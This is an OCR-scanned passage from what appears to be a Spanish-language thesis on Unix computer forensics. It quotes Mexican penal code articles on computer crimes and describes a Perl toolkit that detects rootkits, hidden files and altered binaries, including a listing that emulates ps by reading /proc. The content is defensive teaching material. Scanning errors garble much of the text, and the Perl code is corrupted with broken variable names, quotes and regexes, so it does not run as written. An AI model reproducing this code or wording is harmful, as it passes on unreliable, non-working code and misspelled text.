La sancion sera de uno a cinco afios, multa de cincuenta a quinientos
pesos y suspension de su profesion en su caso, de dos meses a un afo,
cuando la revelacion punible sea hecha por una persona que presta
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servicios profesionales o técnicos o por un funcionario o empleado
publico o cuando el secreto revelado o publicado sea de caracter
industrial.

Articulo 211 Bis.

A quien revele, divulgue o utilice indebidamente o en perjuicio de otro,
informacidn o imagenes obtenidas en una intervencion de comunicacion
privada, se le aplicaran sanciones de seis a doce afios de prision y de
trescientos a seiscientos dias multa.

Articulo 211 bis 1.

Al gque sin autorizacion modifique, destruya o provoque pérdida de
informacidén contenida en sistemas o equipos de informatica protegidos
por algun mecanismo de seguridad, se le impondran de seis meses a dos
afios de prision y de cien a trescientos dias multa.

Al que sin autorizacion conozca o copie informacion contenida en
sistemas 0 equipos de informatica protegidos por algin mecanismo de
seguridad, se le impondran de tres meses a un afio de prision y de
cincuenta a ciento cincuenta dias multa.

Articulo 211 bis 2.

Al que sin autorizacion modifique, destruya o provoque pérdida de
informacidn contenida en sistemas o equipos de informatica del Estado,
protegidos por algin mecanismo de seguridad, se le impondran de uno a
cuatro afnos de prision y de doscientos a seiscientos dias multa.

Al que sin autorizacion conozca o copie informacion contenida en
sistemas o equipos de informatica del Estado, protegidos por algun
mecanismo de seguridad, se le impondran de seis meses a dos afios de
prision y de cien a trescientos dias multa.

Articulo 211 bis 3.

Al que estando autorizado para acceder a sistemas y equipos de
informatica del Estado, indebidamente modifique, destruya o provoque
pérdida de informacion que contengan, se le impondran de dos a ocho
afios de prision y de trescientos a novecientos dias multa.

Al que estando autorizado para acceder a sistemas y equipos de
informatica del  estado, indebidamente copie informacion que
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contengan, se le impondran de uno a cuatro afios de prision y de ciento
cincuenta a cuatrocientos cincuenta dias multa.

e Atrticulo 211 bis 4.
Al que sin autorizacion modifique, destruya o provoque perdida de
informacion contenida en sistemas 0 equipos de informatica de las
instituciones que integran el sistema financiero, protegidos por algun
mecanismo de seguridad, se le impondran de seis meses a cuatro afios
de prision y de cien a seiscientos dias multa.

Al que sin autorizacion conozca o copie informacion contenida en
sistemas o equipos de informatica de las instituciones que integran el
sistema financiero, protegidos por algun mecanismo de seguridad, se le
impondran de tres meses a dos afios de prision y de cincuenta a
trescientos dias multa.

e Articulo 211 bis 5.
Al que estando autorizado para acceder a sistemas y equipos de
informatica de las instituciones que integran el sistema financiero,
indebidamente modifique, destruya o provoque pérdida de informacién
gue contengan, se le impondran de seis meses a cuatro afios de prision y
de cien a seiscientos dias multa.

Al que estando autorizado para acceder a sistemas y equipos de
informatica de las instituciones que integran el sistema financiero,
indebidamente copie informacidén que contengan, se le impondran de
tres meses a dos afios de prision y de cincuenta a trescientos dias multa.

Las penas previstas en este articulo se incrementaran en una mitad
cuando las conductas sean cometidas por funcionarios o empleados de
las instituciones que integran el sistema financiero.

e Articulo 211 bis 6.
Para los efectos de los articulos 211 Bis 4 y 211 Bis 5 anteriores, se
entiende por instituciones que integran el sistema financiero, las
sefialadas en el articulo 400 Bis de este Cddigo.

e Articulo 211 bis 7.
Las penas previstas en este capitulo se aumentaran hasta en una mitad
cuando la informaciédn obtenida se utilice en provecho propio o ajeno.
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Como se menciond en el desarrollo de este capitulo, el hecho de que un
equipo de computo presente una intrusién no es sindbnimo de que se haya
generado por un ataque, pues bien pudo haber sido por que alguien revelo
informacién referente a como poder ingresar al equipo, o bien, por revelar la o
las claves de acceso, de modo que el acceso se realizd de manera correcta por
una persona no deseada. Estos casos se presentan comunmente cuando
empleados de una organizacion son sancionados o despedidos y realizan este
tipo de actos como revancha a las acciones en su contra.

Una gran incégnita que presentan algunos articulos es que mencionan la frase
“mecanismos de seguridad”, sin embargo en el Codigo Penal Federal no se
define lo que se considera un mecanismo de seguridad, de modo que esto es
totalmente subjetivo dependiendo del nivel de conocimiento acerca de la
informatica que presenten tanto la parte acusadora, la parte acusada y el juez.
Como se puede ver, existe legislacion informatica, pero aun existen muchos
huecos que tratar.

Ahora se revisara la Ley Federal de Telecomunicaciones vigente al 28 de
junio de 2004

e Articulo 3.
VIIl. Red de telecomunicaciones: sistema integrado por medios de
transmision, tales como canales o circuitos que utilicen bandas de
frecuencias del espectro radioeléctrico, enlaces satelitales, cableados,
redes de transmision eléctrica o cualquier otro medio de transmision, asi
como, en su caso, centrales, dispositivos de conmutacion o cualquier
equipo necesario.

IX. Red privada de telecomunicaciones: La red de telecomunicaciones
destinada a satisfacer necesidades especificas de servicios de
telecomunicaciones de determinadas personas que no impliquen
explotacién comercial de servicios o capacidad de dicha red.

XIV Telecomunicaciones: Toda emisién, transmision o recepcién de
signos, sefales, escritos, imagenes, voz, sonidos o informacion de
cualquier naturaleza que se efectua a través de hilos, radioelectricidad,
medios opticos, fisicos, u otros sistemas electromagnéticos.
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e Articulo 71.
Las infracciones a lo dispuesto en esta ley, se sancionaran por la
secretaria de conformidad con lo siguiente.

A. Con multa de 10,000 a 100,000 salarios minimos por:

V. Interceptar informacion que se transmita por las redes publicas de
telecomunicaciones.

En lo que se refiere a la Ley Federal de Telecomunicaciones, se hace mucho
hincapié en las redes publicas, pero qué sucede si un intruso esta capturando
trafico de mi red privada mediante un sniffer, en ese caso no se estipula accion
alguna ni en esta ley, ni en el Codigo Penal Federal.

Aunque las pruebas generadas en medios electrénicos aun no son admitidas
por un juez dentro del derecho penal para comprobar que se es victima de un
dafio informatico, sin embargo las acciones basadas en el peritaje si son
admitidas.

Segun una iniciativa de ley propuesta el 22 de marzo de 2000 ante el pleno de
la Camara de Senadores de la Quincuagésima Legislatura, estan considerados
como delitos informaticos “todas aquellas conductas ilicitas susceptibles de
ser sancionadas por el derecho penal, que hacen referencia al uso indebido de
cualquier medio informatico.”

El robo o alteraciéon de informacidn, sabotaje, pedofilia, trafico de menores,
fraude, clonacion de sefiales satelitales, de tarjetas de crédito y el
ciberterrorismo son actividades consideradas por las autoridades de los tres
niveles (federal, estatal y municipal) como una muestra de estos ilicitos, los
cuales dia con dia muestran un incremento en nuestro pais, expandiendose de
manera considerablemente rapida.

Uno de los problemas mas importantes para la persecucion de estos delitos
tiene que ver con la rapidez que ofrece la publicacion electronica para poner y
quitar informacion de cualquier tipo y formato en Web.

Para contrarrestar éstos y otros delitos cibernéticos de creciente expansion, el
gobierno mexicano conformd un equipo especializado llamado DC México
(Delitos Cibernéticos México).
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El grupo esté integrado por los siguientes:

e Entidades del Poder Ejecutivo Federal, integrantes del gabinete de
Seguridad Nacional.

e EIl Poder Legislativo Federal a través de las comisiones de Comercio,
Seguridad, Equidad y Género, Poblacion Vulnerable y Derechos
Humanos de la Camara de Diputados y de Senadores.

e Gobiernos Estatales: Distrito Federal, Jalisco, Baja California y
Coahuila.

e Universidades y Centros de Educacion Superior.

e Empresas privadas vinculadas con seguridad en sistemas de computo,
asociaciones nacionales e internacionales.

¢ QOrganizaciones civiles comprometidas con la seguridad en Internet y de
e-comerce.

e Proveedores de servicios de Internet en México.

DC Mexico tiene como tareas fundamentales la identificacion, el monitoreo y
el rastreo de cualquier manifestacion delictiva que se cometa mediante
computadoras conectadas en territorio mexicano o fuera de él y que tenga
afectaciones en nuestro pais.

La Universidad Nacional Autonoma de México participa en este grupo con
UNAM-CERT, que es un organismo importante por las contribuciones que ha
realizado en materia de prevencion del delito. A su vez, DC México tiene
varias divisiones que ejecutan distintas funciones, entre ellas se encuentran el
subgrupo de contingencias informaticas, el subgrupo de capacitacion y el
subgrupo de gobierno.

Dentro de esta corporacion se encuentra la division Nuevas tecnologias e
investigacion académica y desarrollo, que preside la UNAM, y en la cual este
grupo tiene la tarea de ver todo lo relacionado con capacitacion y desarrollo de
innovaciones tecnoldgicas.

DC Meéxico trabaja conjuntamente con el servicio de aduanas de los Estados
Unidos, ademas de que establece vinculos cercanos con el Servicio Secreto y
la Brigada Tecnoldgica de Espafia.

Hay que resaltar que Internet no es un vinculo que desarrolle o propicie la
ejecucion de actividades delictivas. En este sentido, las policias cibernéticas
son una herramienta innovadora de las corporaciones de procuracion de
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justicia para la seguridad de todos los usuarios que navegan en Internet, sea
cual fuere su regién geografica en el mundo.
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Capitulo 4

Implementacion




Implementacion

4.1 Analisis

4.1.1 Planteamiento del problema

Si un incidente de seguridad ocurre en la organizacion, el administrador del
centro de computo debe atenderlo, la pregunta que surge de inmediato es: ¢El
administrador esta preparado para responder de manera adecuada y eficiente?
¢Esta preparado para controlar y erradicar el problema con rapidez? ¢Esta
preparado para reestablecer el comportamiento normal del sistema y
protegerlo para que no vuelva a ocurrir? Si ha ocurrido un dafio significativo
¢es capaz de descubrir al responsable?

Como se puede ver, ante un caso de riesgo, el administrador de sistemas debe
estar realmente preparado para atender todo tipo de situaciones en el centro de
cdmputo, pues su mision es evaluar la situacion, ponerla bajo control y tomar
el incidente de seguridad para darle solucion, para ello es necesario contar con
herramientas de software que permitan visualizar informacidn necesaria para
identificar un comportamiento fuera de lo normal en el sistema de archivos sin
que este sufra modificaciones.

Si el sistema se encuentra comprometido, que es el tipo de incidentes que nos
interesa, se debe identificar queé parte de éste ha sido dafiado, qué archivos
binarios han sido afectados, como sucedio, cuando sucedio, etc. Por lo menos
el qué y el como deben ser respondidos antes de tomar decisiones para
solucionar el problema. Para responder, el administrador de sistemas debe
realizar un breve analisis del sistema para saber cual sera el plan de
contingencia a seguir, y para realizar el analisis, no puede confiar en las
herramientas que el sistema le proporciona, pues caeria en dos graves errores,
primero, estaria modificando la evidencia (sistema de archivos) y segundo, no
tiene la certeza si la informacion que obtiene a través de las herramientas es
veridica o se esta ocultado informacion.

Una vez que la situacion esté bajo control, se debe realizar un analisis forense,
el cual permitira saber qué, cuando, dénde y como sucedid el compromiso del
sistema. Como se menciono en el capitulo anterior, se hard uso de archivos de
bitacoras, y sobre todo, del propio sistema de archivos para lograr detectar lo
sucedido.

Un punto més para afirmar que es necesario el uso de herramientas de
software para realizar un andlisis del sistema, es que en el momento se puede
presentar una situacion de miedo, incertidumbre y duda causada por la presion
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que exista sobre el administrador de sistemas o por la responsabilidad de
proporcionar nuevamente un servicio interrumpido.

4.1.2 Andlisis del problema

El reto es como tomar la escena del crimen sin modificarla, si tan s6lo con el
hecho de iniciar una sesién en el sistema, éste se alterard. Sabiendo esto,
¢como se debe investigar un sistema comprometido? El usar herramientas que
por si mismas comprometan el sistema o modifiquen la actividad del intruso,
definitivamente no son la solucion ideal. Es importante considerar que si no se
tiene conocimiento de las tacticas que los intrusos utilizan, aunado al software
malicioso, puede complicar el proceso de investigacion. Ante este panorama,
se debe contar con personal capacitado para atender la situacion, de lo
contrario de debe pasar un tiempo considerable aprendiendo tacticas y
herramientas que los intrusos emplean.

Es importante que nadie tome un incidente de computo so6lo por tomarlo, esto
es, para lograr un andlisis exitoso es obligacion de la persona que tome la
responsabilidad del incidente, conocer las tacticas y herramientas que se
emplean para acceder ilegalmente a un sistema de computo. Al enfrentarse a
un sistema comprometido es como se si jugara una partida de ajedrez, el
administrador realiza un movimiento y el intruso realiza uno mas, pero es aqui
en donde se hace presente la experiencia e intuicion del administrador para
detectar pistas que le indiqguen que sucedi6 en el sistema.
El entender como funciona un ataque puede proporcionar una gran cantidad de
pistas durante un proceso de investigacion, ademas, el estar familiarizado con
las vulnerabilidades de sistemas, exploits y rootkits puede ayudar a realizar un
analisis con mayor rapidez.

4.1.3 Lenguajes de programacion

Para decidir que lenguaje de programacion se debia utilizar en la creacion del
toolkit se necesitaba que fuera uno que estuviese por default en la mayoria de
los sistemas de computo, lo cual permitiria hacer uso de éste sin la necesidad
de instalar absolutamente nada.
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Las opciones viables fueron Perl y lenguaje C, ambos cumplen con la
caracteristica de que se encuentran en gran cantidad de sistemas de cémputo
como elementos de la instalacion. Ahora la decision sobre cuél de éstos
utilizar se baso principalmente en el que sufriera menos modificaciones a la
hora de que un sistema es comprometido, en la portabilidad de codigo y
facilidad de manejo de texto.

Lenguaje C tiene la desventaja de que utiliza algunas bibliotecas del sistema
Unix y varias de ellas en ocasiones son sustituidas a causa de ejecucion de
rootkits, a diferencia, Perl es méas confiable en este aspecto, casi ningun
intruso lo dafia, pues se trata de un lenguaje interpretado dirigido al manejo de
texto, lo cual lo hace menos eficiente para atacar al propio sistema o a otros,
en el caso de que ese fuera el objetivo del atacante.

Ante tal panorama, Perl fue el lenguaje de programacién elegido para realizar
los scripts, sin embargo aln existian varios aspectos por decidir, uno de ellos y
el mas importante, si de debian utilizar modulos externos o simplemente hacer
uso de los propios de la instalacion, de tal modo que habia que pagar un costo
en cualquiera de las dos situaciones.

e Si se decidia utilizar modulos externos, las lineas de codigo se
reducirian en gran cantidad, sin embargo, el punto negativo era que
necesitaban instalarse en el sistema de computo, lo cual modificaria la
evidencia.

e Si se utilizaban los mddulos propios de la instalacion habia que pasar
mas tiempo programando, pero se tenia la certeza de que el sistema no
seria modificado.

Utilizar solamente los elementos propios de Perl que son colocados desde la
instalacion fue la decision final.

4.2 Diseno

Un punto crucial en el proceso de investigacion es el conocer los métodos que
utilizan los intrusos para ocultar archivos binarios, datos y toda actividad que
realicen, pues permitira detectarlos de manera rapida y segura.

A lo largo del tiempo, los programas utilizados para introducirse a los
sistemas de manera ilegal han sido automatizados, lo cual permite realizar un
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ataque en una menor cantidad de tiempo, ademas de refinar los métodos de
ataque.

No se puede confiar en los comandos del sistema para intentar obtener
resultados veridicos. El administrador del sistema o el investigador forense,
debe validar y asegurar la integridad de las herramientas de investigacion que
seran utilizadas. Esto puede ser asegurado utilizando un toolkit confiable (tal
vez en CD-Rom) y examinar un sistema sospechoso mientras éste se
encuentra encendido. El andlisis forense en sistemas activos comdnmente es
necesario con el fin de evitar que sistemas de produccién sean dados de baja o
puestos fuera de servicio.

Un analisis forense debe ser realizado de tal modo que se debe asegurar la
integridad del sistema y de los comandos que se estaran utilizando. Un punto
importante es el tener la capacidad de detectar archivos y directorios ocultos.
Los intrusos tienen la necesidad de colocar archivos en alguna parte del
sistema, regularmente confian en que los archivos binarios reemplazados son
suficiente para ocultar su presencia, sin embargo existen otros mecanismos.
Los rootkits y archivos asociados con éstos son comunmente colocados en
areas que son propias del sistema de archivos, los cuales los usuarios tienden a
rechazar visitar, un ejemplo es el directorio /dev, el cual cuenta con mas de
1000 archivos; o bien, los archivos son colocados en lugares que usualmente
no son revisados y por tanto, no se tiene el conocimiento de esa parte del
sistema de archivos; otro ejemplo es el directorio dedicado para las fuentes del
sistema y areas que el sistema operativo utiliza para colocar archivos y
paquetes Utiles para actualizar el propio sistema operativo y aplicaciones de
éste.

Otra manera de ocultar archivos y directorios es el asignarles nombres que
inicien con "." (punto), o bien, con variaciones de éste, por ejemplo "..." (tres
puntos), sin embargo, el mas comin es ".. " (punto punto espacio). Este tipo de
archivos son completamente ocultos para un simple "Is". Una caracteristica
comun es el hecho de colocar este tipo de archivos en directorios que
raramente se revisan. Un simple método que se podria ejecutar para localizar
estos, es el realizar una busqueda mediante find con el patron ".*",
desafortunadamente no de puede confiar en los binarios del sistema. El toolkit
tendréd la capacidad de realizar este tipo de busquedas sin hacer uso de las
herramientas proporcionadas por el sistema, de tal modo que ademas de
mostrar los archivos ocultos, nos permitird visualizar todos sus atributos.

El sistema operativo Unix fue disefiado utilizando varios programas que
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realizan una tarea y la realizan bien, tal disefio permite resolver actividades
complicadas con el uso de varias herramientas al mismo tiempo. La
herramienta disefiada sigue esta misma filosofia, de modo que realiza varios
procesos internamente y cada uno de ellos lo realiza bien. Dicha caracteristica
permite la posibilidad de que en un futuro, y dependiendo de las nuevas
técnicas de hacking, la herramienta pueda modificarse e incrementar su
utilidad facilmente.

El obtener informacion de procesos y estado de red, puede causar un cambio
en el tiempo de acceso de los archivos consultados, lo cual puede traer
drasticas consecuencias el intentar crear el timeline del sistema. La
herramienta creada esta disefiada para obtener el estado de cada uno de los
archivos que estan presentes en el sistema, de modo que el timeline puede ser
creado de manera confiable. Una vez realizado el proceso descrito, se colecta
informacién del sistema, dependiendo de la volatilidad de ésta.

En algunos casos es necesario realizar un andlisis forense en sistemas activos,
es decir, en sistemas que han sufrido un compromiso y no han sido apagados
desde entonces, para ello es necesario contar con un toolkit que asegure que la
informacidn proporcionada es confiable.

El uso de un toolkit disefiado a la medida del investigador forense tiene la
ventaja de que las herramientas que lo componen son las que le permitiran
obtener la mayor cantidad de informacién posible, ademas de que la
informacién se obtendra siguiendo un método sistematico que permita no
dafar la evidencia.

El punto clave a considerar al momento de realizar un analisis forense es el
hecho de conocer de donde se puede obtener la informacion necesaria, pues
existen lugares en que los datos pueden cambiar muy rapido en comparacion
de otros, obviamente, la memoria es de los elementos del sistema que maés
rapido cambia, asi como que los procesos pueden abrir y cerrar conexiones de
red de un momento a otro.

La diferencia entre el sistema de archivos y el disco duro, el cual contiene el
sistema de archivos, es que el sistema de archivos presenta una volatilidad
mayor que los blogues del disco duro, esto se puede notar en el siguiente
ejemplo, si se elimina un archivo del sistema de archivos, este continua
existiendo en el disco y puede ser recuperado utilizando métodos de
recuperacion de archivos.
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Para colectar la informacion es importante considerar la volatilidad de ésta,
por ello primero se debe colectar todo lo referente a los procesos del sistema,
de la memoria, y conexiones de red. Esto se puede realizar utilizando un
script. A continuacion se puede proceder a colectar informacion sobre los
usuarios del sistema y finalmente obtener la informacion requerida referente al
sistema de archivos. El orden de lo descrito se muestra listado a continuacion.

« Memoria

« Procesos

« Conexiones de red
. Sistema de archivos
« Bloques del disco

Por ello, el orden para colectar la informacion es la que se muestra.

Procesos
Conexiones de red
Informacion de login
Bloques del disco

Una vez que la informacion del sistema de archivos ha sido obtenida, se
realizara la revision de ésta con el fin de identificar:

« Qué cambid en el sistema de archivos y cuando sucedio
« COmo ocurrié el compromiso del sistema

« Comandos que se utilizaron

« Rootkits

« Datos ocultos

Las actividades listadas permitiran determinar qué fue cambiado en el sistema
y cuando sucedid, ademas de conocer qué vulnerabilidad fue explotada con el
fin de evitar que vuelva a suceder; la Gltima parte es la mas dificil en este
proceso.

Para iniciar el analisis, es recomendable saber cuando fue instalado el sistema
operativo, pues ello ayudara a tener una referencia sobre los mactimes de los
binarios del sistema. A continuacion es recomendable crear un timeline (linea
de tiempo) de los cambios que presenta el sistema de archivos y con ello
comenzar a crear una vision de lo que sucedio en el sistema.

Una vez realizado el timeline del sistema de archivos, éste podra ayudar a
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localizar fechas de modificacion, acceso y creacion (cambio), patrones de
nombres, tipo de archivo, tamafio del archivo, permisos, duefio y grupo.
Utilizar el comando find ayudaria, sin embargo no se puede confiar en
ninguna herramienta proporcionada por el sistema.

El tiempo de modificacion indica cuando un archivo fue modificado por
ultima vez; esto es util para identificar que ha cambiado a partir de cierto
tiempo. El tiempo de acceso indica cuando fue accedido el archivo por ultima
vez; esto es Util, debido a que puede ayudar a determinar qué comandos fueron
ejecutados y cuando. Finalmente, el tiempo de creacidon (también conocido
como tiempo de cambio) registra la ultima vez que la informacién del inodo
cambio; en el analisis forense es Util, ya que permite visualizar la secuencia de
nuevos archivos que hayan sido creados en el sistema.

En lo que se refiere a los mactimes, éstos son muy utiles en la realizacion de
un analisis forense, sin embargo hay que estar alertas, pues éstos pudieron
haber sido modificados.

El identificar los archivos con setuid o setgid activado es recomendable, pues
este tipo de archivos son peligroso, ya que permiten ejecutar el programa con
el uid del propietario del archivo, no con el uid del usuario que lo ejecuta.

Para obtener ciertos datos del sistema se puede recurrir a informacion que
proporciona el sistema de archivos, tal como se muestra a continuacion:

« Version del sistema operativo - /etc/issue

« Fecha de instalacion del sistema operativo - /tmp/install.log
« Zona horaria del sistema - /etc/timezone

« Fecha de reinicio - /var/log/boot.log

« Esquema de particion del disco duro - /etc/fstab

Los archivos descritos pueden cambiar de nombre y de ubicacion dependiendo
de la version del sistema operativo. Todos estos puntos ayudaran en varias
partes de la investigacion. Por ejemplo, el esquema de particionamiento que se
proporciona en /etc/fstab ayudara a reconstruir el sistema de archivos
comprometido bajo cierto directorio.

Al realizar el anélisis del sistema de archivos, 1o que se debe buscar es el
identificar rootkits y herramientas comprometidas realizando simples tests:
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« Validar los archivos passwd y shadow con el propésito de identificar
anomalias.

« Buscar archivos y directorios que inicien con . (punto) Algunos de los
resultados obtenidos pueden ser validos para el sistema de archivos y
otros no, la mayoria de ellos resultan falsa alarma.

« Localizar archivos regulares en la particion /dev. La mayoria de los
archivos localizados bajo /dev deben ser archivos de tipo caracter, de
bloque o de dispositivos.

« Algunas veces los intrusos utilizan archivos setuid/setgid para obtener
privilegios de root sin acceder a la cuenta de root como tal.

. ldentificar si los archivos binarios del sistema han sido modificados o
creados recientemente. Una buena revision a los mactimes de los
binarios podran decirnos muchas cosas acerca de lo que ha ocurrido en
el sistema.

En lo que se refiere a la integridad de los archivos passwd y shadow, es
necesario realizar una auditoria a éstos, sin embargo, los sistemas utilizados
como servidores pueden llegar a tener cientos o miles de cuentas de usuarios.
Localizar datos no autorizados puede ser muy dificil, lo que si se puede
identificar sin tanto problema es lo siguiente:

« Cuentas sin password
« Cuentas con userid 0 y que no corresponden a root
« Secuencias de numeros de userid o groupid fuera de cierto rango.

Los archivos que necesitan una revision son los que corresponden al historial
de la actividad del usuario (archivos .bash_history), archivos de bitacoras, tal
como messages, syslog, secure, maillog, wtmp, utmp, etc.

A partir de que se ha identificado un archivo que puede ayudar a identificar
una serie de archivos creados o modificados a partir de esa fecha, mediante el
toolkit se podran realizar este tipo de busquedas y obtener el resultado de
manera que sea facil un analisis mas detallado.

Un método mas para identificar archivos creados es ordenar los archivos por
numero de inodo, esto es, con base en el inodo de cada archivo se identificara
a aquellos archivos que hayan sido creados, pues el sistema de archivos los
habra creado con numero de inodo consecutivo. De este modo, se podran
identificar cierto bloque de archivos creados que tengan que aportar
informacidn relevante para continuar con el analisis forense. Poder ordenar los
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archivos por ndmero de inodo es posible gracias a que cada archivo en el
sistema Unix tiene asignado un inodo Unico. Los inodos contienen
informacidn que los procesos necesitan para acceder a un archivo. Cada inodo
contiene:

« identificador del duefio

. identificador del grupo

. tipo de archivo

« permisos del archivo

« tiempo de acceso

« tiempo de modificacion

« tiempo de creacion o cambio
« tamafio del archivo

Un punto clave al realizar el analisis de la informacion obtenida es el hecho de
revisar la lista de inodos, en particular de aquellos que refieran a los archivos
que han sido creados recientemente, pues el nimero de inodo se vera extrafio,
en qué sentido, en cuanto a que el numero de inodo sera distinto en un rango
dado.

La obtencion de pistas se puede clasificar como:

« Evidencia por .bash_history y por log files

« Evidencia por directorios ocultos

« Evidencia por archivos regulares en /dev
 Evidencia por tiempo de modificacion
 Evidencia por binarios modificados

« Evidencia por archivos creados recientemente
« Evidencia directamente por rootkit

« Evidencia por timeline

Cual sera el resultado.

« El haber determinado que sucedié en el sistema
« Que archivos fueron agregados, borrados o0 modificados
« Dadnde sucedieron las modificaciones
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4.3 Implementacion

4.3.1 Recopilacion de informacion

Los sistemas Unix poseen un disefio estandar y cada distribuidor de un sistema
operativo agrega ciertas caracteristicas a su producto, de tal modo que el
formato o los datos que los archivos de configuracion poseen varias veces son
distintos, incluso varios archivos cambian de ubicacion jerarquica en el
sistema.

Con el fin de recopilar la informacion necesaria para realizar el analisis
forense correspondiente, se cred un script que identifica el sistema operativo
del cual se trata y a partir de tal identificacion realiza la coleccion de varios
archivos:

Archivos de administracion de usuarios y grupos del sistema.
Archivos de bitacoras.

Archivos de configuracion bésicos para el sistema.

Archivos de configuracion para sesiones de usuarios.
Archivos bash_history.

Como se puede apreciar, tal coleccion se realiza con el fin de poseer los
elementos necesarios para cumplir con el objetivo del analisis forense vy
asegurar que los resultados seran los correctos.

4.3.2 Emulando comandos del sistema

Tomando como base que el sistema ha sido comprometido o que se sospecha
que se encuentra en tal situacion, los binarios propios del sistema de archivos
que se utilizan para monitoreo de la actividad de usuarios y sistema,
seguramente han sido sustituidos por caballos de Troya, lo cual coloca al
administrador en una dificil situacion, pues la informacion que obtenga al
ejecutar tales binarios no le proporcionaran toda la informacién que requiere
para establecerse un panorama de lo que en la maquina sucede, ya que es
precisamente la intencion de tales binarios, el ocultar la presencia del intruso y
de su actividad maliciosa.

Un aspecto importante en los sistemas Unix, es el hecho de que todo es un
archivo, ¢qué significa ésto? La informacion de la actividad del sistema, de
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usuarios, de controladores de dispositivos, etc., se encuentra alojada en
archivos del sistema, por lo tanto, los comandos que se emulan en este trabajo
de investigacién, toman como base éstos, con ello se logra que la informacion
obtenida sea completa e imparcial, esto es, no se oculta nada, ni siquiera
aguella que el intruso pudiese estar generando.

e Procesos del sistema (ps.pl)

En los sistemas Unix, la informacion relacionada con los procesos del sistema
se encuentra alojada bajo el directorio /proc, para verificar tal situacién
podemos ejecutar el comando Is —I (figura 4.1) y ver algo como se muestra en
el siguiente listado.

dr-xr-xr-x 54  root root 0 2005-02-10 03:48
drwxr-xr-x 22 root root 1024  2005-02-07 20:38 ..
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 105
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1079
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1082
dr-xr-xr-x 3 messagebus messagebus 0 2005-02-10 10:13 1087
dr-xr-xr-x 3 |p Ip 0 2005-02-10 10:13 1092
dr-xr-xr-x 3  root root 0 2005-02-10 10:13 1113
dr-xr-xr-x 3 nobody nogroup 0 2005-02-10 10:13 1117
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1123
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1133
dr-xr-xr-x 3 daemon daemon 0 2005-02-10 10:13 1139
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1142
dr-xr-xr-x 3  salavez salavez 0 2005-02-10 10:13 1148
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1149
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1150
dr-xr-xr-x 3 root root 0 2005-02-10 10:13 1151
dr-xr-xr-x 3  root root 0 2005-02-10 10:13 1152
dr-xr-xr-x 3 root Root 0 2005-02-10 10:13 1153

Figura 4.1 Ejecucién del binario Is I

A continuacion se nombra cada una de las columnas que aparecen en el
listado.

e Permisos
e Numero de ligas
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Duefio del archivo

Grupo del archivo

Tamafio del archivo

Fecha de Gltima modificacion
Hora de la Gltima modificacion
Nombre del archivo

Como se puede ver, en la Gltima columna aparecen varios numeros, los cuales
representan el PID (process identification) de los procesos que el sistema esta
ejecutando en ese momento, ademas, en la misma linea se puede ver que se
trata de un directorio y no simplemente de un archivo comun. Por facilidad, se
tomara como ejemplo al proceso 1148, el cual, como ya se menciono, se trata
de un directorio, el propietario del directorio es el usuario salavez y pertenece
al grupo salavez.

Ahora se muestra qué existe dentro del directorio 1148 (Figura 4.2).

-r--r--r-- 1 salavez salavez 0 2005-02-10 10:39 cmdline

Irwxrwxrwx 1 salavez salavez 0 2005-02-10 10:39 cwd > /home/salavez
-r-—-——-—-—- 1 salavez salavez 0 2005-02-10 10:39 environ

Irwxrwxrwx 1 salavez salavez 0 2005-02-10 10:39 exe ->  /bin/bash
dr-xX------ 2 salavez salavez 0 2005-02-10 10:39 fd

-r--r--r-- 1 salavez salavez 0 2005-02-10 10:39 maps

—IW=—mmm e 1 salavez salavez 0 2005-02-10 10:39 mem

-r--r--r-- 1 salavez salavez 0 2005-02-10 10:39 mounts

Irwxrwxrwx 1 salavez salavez 0 2005-02-10 10:39  root >
-r--r--r-- 1 salavez salavez 0 2005-02-10 10:39 stat

-r--r--r-- 1 salavez salavez 0 2005-02-10 10:39 statm

-r--r--r-- 1 salavez salavez 0 2005-02-10 10:39 status

Figura 4.2 Contenido del directorio 1148

Por mencionar algunos, en el archivo cmdline aparece la informacion sobre la
linea de comandos que se ejecutd para activar el proceso, en environ se
localiza aquella informacion referente a las variables de ambiente del duefio
del proceso; exe apunta al archivo que se ejecutd; maps contiene los archivos
que se utilizan para mantener activo el proceso en turno; mounts guarda
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informacién sobre el particionamiento del disco duro y permisos en la
particion correspondiente; status contiene el estado del proceso.

Con base en el tipo de informacion que se puede obtener de cada uno los
archivos de proceso, y de aquella que el binario ps proporciona (username,
terminal, tiempo de inicio, memoria y cpu utilizado, linea de comandos,
estatus del proceso), se realiza un manejo de los datos contenidos en cada uno
de los archivos mencionados y se presenta al usuario en un formato similar al
que proporciona ps.

Ahora se presentan las lineas de cddigo (Figura 4.3) que realizan el proceso de
obtener la informacién de los archivos respectivos y de presentar la
informacion con el formato establecido.

En el arreglo @archivos _proc estaran los nombres de los archivos y
directorios contenidos en el directorio /proc del sistema de archivos, con tales
elementos se realiza un ciclo foreach para revisar cada uno de ellos y acceder
solamente a aquellos que su nombre corresponda a una cadena de digitos (que
son los que representan procesos en el sistema), finalmente se realiza el
proceso de filtrar la informacion que sera presentada el usuario.

$dir_proc="/proc";

opendir(PROC,$dir_proc) or die "Problema al abrir $dir_proc";
@archivos_proc=readdir(PROC);

foreach $procesos (@archivos_proc)

{
if( $procesos =~ /[0-9]+/)
{
open(STATUS,"/proc/".$procesos."/status™) or die "Problema al abrir status
$procesos\n™;

while(<STATUS>){
if($_=~/"Name:/){ ($tmp,3name)=split(\t/,$_); }
if($_=~/"Pid:/){ ($tmp,$pid)=split(\t/,$_); }
if($_=~/"PPid:/){ ($tmp,$ppid)=split(\t/,$ ); }
if($_=~/~Uid:){ ($tmp,Suid,$tmp)=split(\t/,$_); }
}
close(STATUS);
chomp($uid);chomp($pid);chomp($ppid);chomp($state);chomp($name);
print "$uid\t$pid\t$ppid\tSname\n™;
}

}
closedir(PROC);

Figura 4.3 Lineas de cédigo que emulan al comando ps en los sistemas Unix.
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Cuando el script se ejecuta es capaz de presentar la informacion al usuario en
modo texto directamente en la terminal, o bien, generar un archivo html
(Figura 4.4) para su posterior revision.
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Figura 4.4 Procesos del sistema en formato HTML

e Conexiones de red (netstat.pl)

Al atender un incidente de seguridad en computo, es necesario el tomar una
